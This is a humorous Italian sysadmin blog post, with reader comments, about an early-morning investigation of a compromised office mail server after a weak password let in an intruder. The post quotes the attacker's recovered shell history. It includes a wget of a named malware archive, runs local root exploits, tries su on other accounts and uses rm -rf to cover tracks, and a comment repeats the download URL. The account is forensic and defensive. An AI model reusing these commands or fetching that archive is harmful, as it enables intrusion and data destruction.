Tales from the Machine Room |
Home Page | Comments | Articles | Faq | Documents | Search | Archive | Tales from the Machine Room | Contribute | Set language to:en it | Login/Register
B - D? Sono B. Senti, qui e' successo un casino dovresti venire a dare un occhiata.
Non devo dire come e' che B ha il mio numero di cellofono eh?
IO - ? Io? Alle sette di mattina? E perche' io?
B - Ti ricordi l'altra volta quando abbiamo
scoperto quei PC di $noivendiamoariafritta nell'armadio? Ecco, ci sono altri
problemi e penso che dovresti dare un occhiata a qualche cosa.
IO - Hemmm... io dovrei andare in ufficio...
B - Chiamo DB e gli dico che vieni qui per fare una cosa importantissima.
IO - Ma seriamente, non potete aspettare nel pom...
B - Nooooo!!!!!
Comunque, dopo un certo tira-e-molla ed una chiamata diretta a DB che da la sua benedizione (e la mia doccia per ritornare in forma quasi umana), mi dirigo verso $noivendiamobigliettisuinternet (che in effetti sta a 5 km da casa mia).
Li' B mi agguanta e mi spiega che succede.
B - Allora, stamani la nostra receptionista e' arrivata molto presto e non
riusciva a leggere la sua posta.
IO - E che c'e' di strano? Si sara' scordata la password.
B - No, non si era scordata la password, perche' non la cambia mai, ma
qualcuno l'aveva cambiata per lei e no non sono stata io a
cambiarla e si io sono l'unica che puo' cambiare le password degli
utenti.
IO - (aspettando il seguito) ...e?
B - Da quando in qua le password si cambiano da sole?
IO - Huemmm... di solito non succede. Vabbe' vediamo sta cosa.
Cosi' andiamo in Sala Macchine, perche' B (ragazza intelligente) ha staccato il cavo di rete del server di posta interno, che fa anche da gateway verso internet per l'ufficio. Attacco una tastiera ed un monitor e guardo. Un 'last' mi dice che gli unici che hanno fatto login sono B dalla console alle 7 di mattina e UL di $noivendiamoariafritta via SSH alle 2 del mattino... Quest'ultimo risulta aver fatto login da un IP di AOL. Qui gatta ci cova.
Un controllino nella homedir di UL la rivela vuota. Vuota. Sento puzza di bruciato. Come minimo dovrebbe esserci un .bash_history se ha fatto login via SSH.
Un controllo nel log di sistema mi dice che "UL" ha sbagliato password 2 volte prima di accedere. Non sembra un brute-force attack.
Sfodero la chiavetta USB ed installo il mio root-kit-test, un controllo non riporta cose strane. Un rapido test mi dice che gli unici files modificati in /etc sono /etc/passwd ed /etc/shadow, ma a questo punto non sono del tutto sicuro di quanto posso fidarmi di questa macchina.
IO - Mi sa che hai fatto bene a chiamarmi e che questa macchina dovra essere
reinstallata, tanto per stare sul sicuro. Sai mica che password aveva UL?
B - Non lo so ma posso scoprirlo.
IO - Ok, tu vai e scopri che io vedo qui che posso scoprire.
Mi viene in mente a quel punto che il backup parte alle 2.30, e magari ha 'salvato' qualche cosa di interessante. Quindi guardo sul disco USB (che viene montato e smontato dalla procedura di backup) e vedo che la directory di UL non e' vuota nel backup di ieri. O gioia. Cosi' riesco a scovare questo interessante frammento di storia:
w
uname -a
ps aux
ls -a
last
ps aux
mailq
ls -a
cat /etc/issue
ps ax
wget makingcash.ucoz.co.uk/Muistul.tgz
tar xzvf Muistul.tgz
cd .local/
./2007
./raptor
ls
ps aux
last root
ps ax
uname -a
cat /etc/passwd
su receptions
su B
su SL
su CL
su ...
cat /etc/passwd
su ...
su ...
su ...
ls -a
cd /tmp
ls -a
rm -rf .* *
cd /var/tmp
ls -a
rm -rf .* *
cd ~
ls -a
cat .bash_history
rm -rf .* *
passwd
ps aux
ls -a
last
clear
cat /etc/issue
exit
"makingcash" eh? Un rapido controllo mi dice che quel file contiene un paio
di local root exploit, che purtroppo per il nostro sedicente cracker, non
funzionano su questo kernel. Il tipo non mi sembra poi tanto scafato, io
avrei cercato di fare login su altre macchine della rete, questo invece sembra
si sia concentrato solo su questa e neanche tanto. Ma il 'su' verso la
receptionista ha funzionato, quindi controllo il .bash_history della
receptionista e vedo che il tipo ha cambiato la password (confermando i
sospetti di B) e poco altro.Gli altri "su" non hanno dato frutti. Un dubbio atroce mi piglia e controllo. No, per fortuna UL non era in sudo. Non che il tipo ci abbia provato comunque.
B ritorna con una faccia schifata.
B - Ci crederesti? La sua password era $nomediUL123.
IO - E adesso e' "seilicenziatoidiota"?
B - Dimmi che non ci e' entrato dentro qualcuno!
IO - Sorry. Ma si', e' entrato dentro qualcuno. Ma non mi sembra che abbia fatto
molto. In ogni caso l'unico accesso che aveva era in questa macchina no? Quindi
anche se aveva una password idiota non ha potuto fare danni altrove. Vedi che
a volte il non avere un sistema di autenticazione centralizzato e' un bene?
A questo punto B ha insistito per offrirmi la colazione nel baretto all'angolo e poi ho speso il resto della giornata reinstallando la macchina e controllando gli altri sistemi dell'ufficio. Dai discorsi che ho udito non credo che $noivendiamoariafritta vendera molto in questo posto.
Davide
12/01/2009 08:30
Comments are added when and more important if I have the time to review them and after removing Spam, Crap, Phishing and the like. So don't hold your breath. And if your comment doesn't appear, is probably becuase it wasn't worth it.
Un buon modo per iniziare la giornata By Gama posted 12/01/2009 08:18
Grazie come sempre per il buon inizio settimana, ora posso ricominciare il lavoro di disinfestazione cominciato il 31: le uniche macchine che non sono state toccate dalla bestiaccia e i server linux.
Gama
-- Gama
Data By Kaspa posted 12/01/2009 08:19
Com'è che sta storia è del 1/1/1970?
-- Kaspa
-AT- Kaspa By Davide Bianchi posted 12/01/2009 08:31
> Com'è che sta storia è del 1/1/1970?
Lo script non ha aggiornato correttamente la data di pubblicazione.
-- Davide Bianchi
Che dolce risveglio...... By Eugenio Dorigati posted 12/01/2009 08:53
Come ha detto Gama, almeno l'interlocutore non ha invocato il tuo aiuto a vanvera.
-- Eugenio Dorigati
subject By RaDu posted 12/01/2009 08:54
-- RaDu
-AT- RaDu By Davide Bianchi posted 12/01/2009 09:23
Yup. Cambiato certificato ssl e dimenticato di cambiare il nome.
-- Davide Bianchi
Signature By Gama posted 12/01/2009 08:55
Se la risposta e' "si" allora c'e' qualcosa che non va: ho impostato una signature ma, per lo meno nell'ultimo messaggio, non viene visualizzata.
Vediamo se d'ora in poi mi ricordo di non firmarmi visto che il nome viene messo in automatico!
-- Gama
Non tutto il male viene per nuocere.... By Cobra78 posted 12/01/2009 09:17
-- Cobra78
Brutti ricordi By johnnymnemonic posted 12/01/2009 09:56
Risultato: due giorni per reinstallare tutto e giro di vite su password e policy di accesso
-- johnnymnemonic
E ci risiamo... By noob posted 12/01/2009 10:06
-- Matteo Ricci
Exploit By Daniele Levi posted 12/01/2009 10:10
Inutile dire che sullo schermo del pc c'era un bellissimo post it con password ed istruzioni per accedere tramite connect card...
... l'exploit è stato che il somaro ha realizzato che aveva subito il furto 3 giorni dopo (il lunedì-) e quindi il ladruncolo aveva avuto tutto il tempo di entrare nei sistemi indisturbato. Per fortuna si era limitato a mandare in giro qualche e-mail spiritosa.
-- Daniele Levi
subject By Daniele G. posted 12/01/2009 10:22
-- Daniele G.
-AT- Daniele G. By Davide Bianchi posted 12/01/2009 12:30
E non l'hai vista di persona...
-- Davide Bianchi
dipende... By mau posted 12/01/2009 18:54
(e magari gradevole alla vista)
-- mau
cose varie By Herr Franz posted 12/01/2009 11:10
ps: quando mi sono registrato mi ha detto che il tuo certificato è una schifezza ed ho dovuto aggiungere un'eccezione...è normale?
pps:quando arriva la prima email di rihiesta "ma sei davvero tu he hai chiesto una password qui?" non sarebbe una cattiva idea inserire un riferimento a softland. Io ho capito che era tuo solo perchè venivo chiamato herr franz e di solito mi iscrivo come maddragon...
-- Herr Franz
-AT- Herr Franz By Davide Bianchi posted 12/01/2009 12:31
Ecco perche' tengo il cellofono spento al fine settimana.
> ps: quando mi sono registrato mi ha detto che il tuo certificato è una schifezza ed ho dovuto aggiungere un'eccezione...è normale?
Se tu mi paghi un vero certificato...
> pps:quando arriva la prima email di rihiesta "ma sei davvero tu he hai chiesto una password qui?" non sarebbe una cattiva idea inserire un riferimento a softland.
Se sei tu che hai richiesto la login, capisci, se non sei tu, che te frega?
-- Davide Bianchi
groan... By dpantaleo posted 12/01/2009 11:20
-AT- davide: quando fai lo zip delle storie del 2008, che così me le rileggo sul cellofono
-- dpantaleo
dolce risveglio? By Tommaso posted 12/01/2009 11:25
E comunque non credo ti dispiaccia di passare una giornata pagato con B, no?
-- Tommaso
Sudo.. By Dom posted 12/01/2009 11:48
.. a quanto pare nn sono l'unico a mal tollerare sudo..
D. lo script che dice "welcom back 'user' your last login etc etc.. mi fa schiantare opera.. nn chiedermi il perchè però..
-- Dom
-AT- Dom By Davide Bianchi posted 12/01/2009 12:33
>
> .. a quanto pare nn sono l'unico a mal tollerare sudo..
Se devo scegliere tra dare in giro la password di root e sudo, scelgo sudo.
> D. lo script che dice "welcom back 'user' your last login etc etc.. mi fa schiantare opera.. nn chiedermi il perchè però..
E' un banalissimo "alert" in Javascript. Ok che io penso che javascript dovrebbe essere rimosso dall'universo pero'...
-- Davide Bianchi
Sudo ma Godo ? By filippo posted 12/01/2009 14:57
Si fare ogni cosa con sudo (il server non l'ho messo in piedi io) alla fine di rompo e sudo su (e quindi se faccio vaccate le faccio di razza).
+1 Ai disaccordi con il SUDO
-- filippo
sudo By Andrea Ballarati posted 13/01/2009 09:01
-- Andrea Ballarati
+1 x sudo By Tommaso posted 13/01/2009 09:38
Se qualche utente deve lanciare ogni tanto qualche programma/script con i permessi di root, sudo e' perfetto.
Se sono troppi comandi, forse e' il caso di dare la password di root, ma senza accesso diretto da console e ssh, almeno saprai chi ha fatto il danno...
Se dai a pigs & dogs i permessi di sudo e gli permetti di fare "sudo su", allora tanto vale dare la password di root. Si lo so che e' piu' rapido che dare per ogni script/programma i permessi, ma se concedi troppo non sarai piu' tu il sistemista...
-- Tommaso
Hum... By spacexplorer posted 12/01/2009 12:40
andrebbe pero` (posta interna e gw sulla stessa macchina,
pass o non forzatamente cambiate a tempo, o comunque nessun
impedimento a (ri)mettere la stessa, mi sembra un ssh con
pass senza chiave, "bkup" direttamente sul server)...
Perche` non proponi un mini-pc tipo il tuo audioserver come gw
e/o come mini logstation che replica i log delle macchine piu`
importanti (una jail per macchina, chflags sappnd per ogni log
con securlevel a 3)?
Grazie di nuovo per la "compagnia del lunedi`" (che con i
"commenti" dura tutta la settimana)! Fammi sapere per il css
-- spacexplorer
non male By Daniele posted 12/01/2009 12:40
-- Daniele
subject By Gabriele Corrieri posted 12/01/2009 13:14
Gabriele
-- Gabriele Corrieri
-AT- Gabriele Corrieri By Andrea Occhi posted 14/01/2009 17:26
Vedila al contrario: allo script kiddie è andata rovescia.
Murpy non si smentisce MAI
>
> Gabriele
> --
> Gabriele Corrieri
-- Andrea Occhi
root exploit By checkitout3 posted 12/01/2009 13:26
ma a proposito di quel sito ce contiene un rootkit... non c'è modo di segnalarlo come abuse al mantainer del sito? IMHO per chi deve ogni giorno mantenere funzionanti tot server stì rompiscatole bisognerebbe segarli..
Complimenti cmq
-- checkitout3
-AT- checkitout3 By Davide Bianchi posted 12/01/2009 14:39
> ma a proposito di quel sito ce contiene un rootkit... non c'è modo di segnalarlo come abuse al mantainer del sito?
Gia' fatto, ma pensi che gliene freghi qualche cosa?
-- Davide Bianchi
root exploit By checkitout3 posted 12/01/2009 15:03
(funge il rispondi anche per i (l)user o solo per te?)
-- checkitout3
-AT- checkitout3 By Davide Bianchi posted 12/01/2009 15:05
Il "rispondi" dovrebbe funzicare per tutti.
-- Davide Bianchi
... By Nik posted 12/01/2009 19:04
beh, che dire.. quelli di $noivendiamoariafritta sono riusciti a superare se stessi.. forse quell'UL voleva il primato aziendale di idiozia?
-- Nik
Maaaa.... By Mick Zio Zero posted 12/01/2009 22:01
-- Mick Zio Zero
Bello By kache posted 12/01/2009 23:53
Potresti, per favore, aumentare la dimensione o permettere di uppare jpg?
-- kache
-AT- kache By Davide Bianchi posted 13/01/2009 08:31
Quanto cappero vuoi farla una immagine che, in ogni caso, e' 24x24 pixels?
-- Davide Bianchi
... By Gabriele Corrieri posted 13/01/2009 00:54
non so come non so cosa ma
makingcash.ucoz.co.uk/Muistul.tgz
è ancora in quel posto ... alla faccia del fatto che di fronte a denunce l'ISP dovrebbe ...
vabbè ...
-- Gabriele Corrieri
The bold and the red By maxxfi posted 13/01/2009 09:05
Se non costa molta fatica, IMVHO non sarebbe male evidenziare i nomi registrati p.es. in grassetto e quello di Davide in rosso.
Riguardo al letto, consiglio anch'io IKEA (se ce n'e' uno vicino).
E' relativamente economico ma soprattutto e' hacker-friendly
-- maxxfi
subject By Diego posted 13/01/2009 13:10
Complimenti per l'immediata soluzione del problema, per un intervento del genere ti avrebbero dovuto pagare uno stipendio intero
Concordo con maxxfi per bold & red e aggiungo che sui form di login e commenti il carattere nero sullo sfondo blu non è il massimo della leggibilità (siamo rompimaroni, lo so )
P.S. oggi sei andato a lavoro in moto o con i pattini da ghiaccio?
http://www.repubblica.it/2006/05/gallerie/cronaca/amsterdam-mare-ghiacciato/1.html
--
Diego
-AT- Diego By Davide Bianchi posted 13/01/2009 14:25
In macchina. Sono matti si', mica scemo.
-- Davide Bianchi
-AT- Diego By Davide Bianchi posted 13/01/2009 14:48
Ok, dovrebbe essere a posto (il colore almeno).
-- Davide Bianchi
AAA By Samuel posted 13/01/2009 18:06
complimenti per il sito e soprattutto per le storie... si comincia bene la settimana leggendoti
Faccio anche una proposta costruttiva (spero) al sito:
per postare un messaggio, senza quotare (rispondi) ad un post precedente bisogna risalire l'elenco dei messaggi inseriti, si potrebbe inserire anche questo link in coda ai messaggi postati?
grazie
-- Samuel
-AT- Samuel By Davide Bianchi posted 13/01/2009 18:49
Aggiunto.
-- Davide Bianchi
scafato? By Thurill-AT-gmail.com posted 14/01/2009 14:02
Buona settimana D.
-- Thurill-AT-gmail.com
-AT- Thurill-AT-gmail.com By Lo Zeno posted 15/01/2009 13:58
Già visto: un signore dove vivo io, a cui avevo installato un router Wi-Fi (per fargli un favore perché il figlio non voleva alzare le chiappe), usando come motivazione che la password che avevo messo io era "difficile da ricordare" ha fatto mettere al figlio, come password, il cognome + la via + il numero di casa.
A nulla è valso far notare che la password del DHCP viene memorizzata nel computer e non occorre ridigitarla.
-- Lo Zeno
non funzionano su questo kernel By Davide Inglima posted 15/01/2009 21:02
-- Davide Inglima
Un buon modo di iniziare la giornata (2) By kallsu posted 16/01/2009 21:18
Ho maledetto l'orrido programmatore in vacanza per giorni e giorni, comunque appena tornato ha scontato tributo pagando colazioni per 1 mese di fila !
-- kallsu
-AT- kallsu By Davide Bianchi posted 17/01/2009 08:39
Bhe', fa piacere vedere che c'e' una certa giustizia nel mondo.
-- Davide Bianchi
quando il caso ci mette lo zampino ..... By soichiro posted 17/01/2009 22:56
Qui in italia il numero dei sistemi craccati/infetti in giro deve essere enorme a causa dell'ignoranza che vige in ambito informatico, dico solo che un ragazzino di 15 anni(ora ne ha di più ma le conoscenze latitano sempre) è stato acclamato dai media come esperto di sicurezza informatica :| , solo perchè scrive(va) guide for dummies e propone servizi assurdi (tra cui un sicurissimo sistema gratuito di gestione delle password via web :F )
Tornando alla storia che aspetta il management di $noivendiamobigliettisuinternet(o in alternativa B) a mettere il cartello io non posso entrare con la faccia degli ul di $noivendiamoariafritta dopo aver sbattuto fuori dalla finestra i serwer ???
-- soichiro
-AT- soichiro By Davide Bianchi posted 18/01/2009 09:17
La mia esperienza dice che non e' "solo" in Italia.
> assurdi (tra cui un sicurissimo sistema gratuito di gestione delle password via web :F )
Se non ha un certificato SSL firmato da "Snake Oil ltd" ne sa gia' piu' di altra gente che conosco...
-- Davide Bianchi
file scaricato By mk posted 20/03/2009 12:08
Linux.Osf.3974 FOUND
----------- SCAN SUMMARY -----------
Known viruses: 526808
Engine version: 0.94.1
Scanned directories: 0
Scanned files: 1
Infected files: 1
-- mk
This site is made by me with blood, sweat and gunpowder, if you want to republish or redistribute any part of it, please drop me (or the author of the article if is not me) a mail.
This site was composed with VIM, now is composed with VIM and the (in)famous CMS FdT.
This site isn't optimized for vision with any specific browser, nor
it requires special fonts or resolution.
You're free to see it as you wish.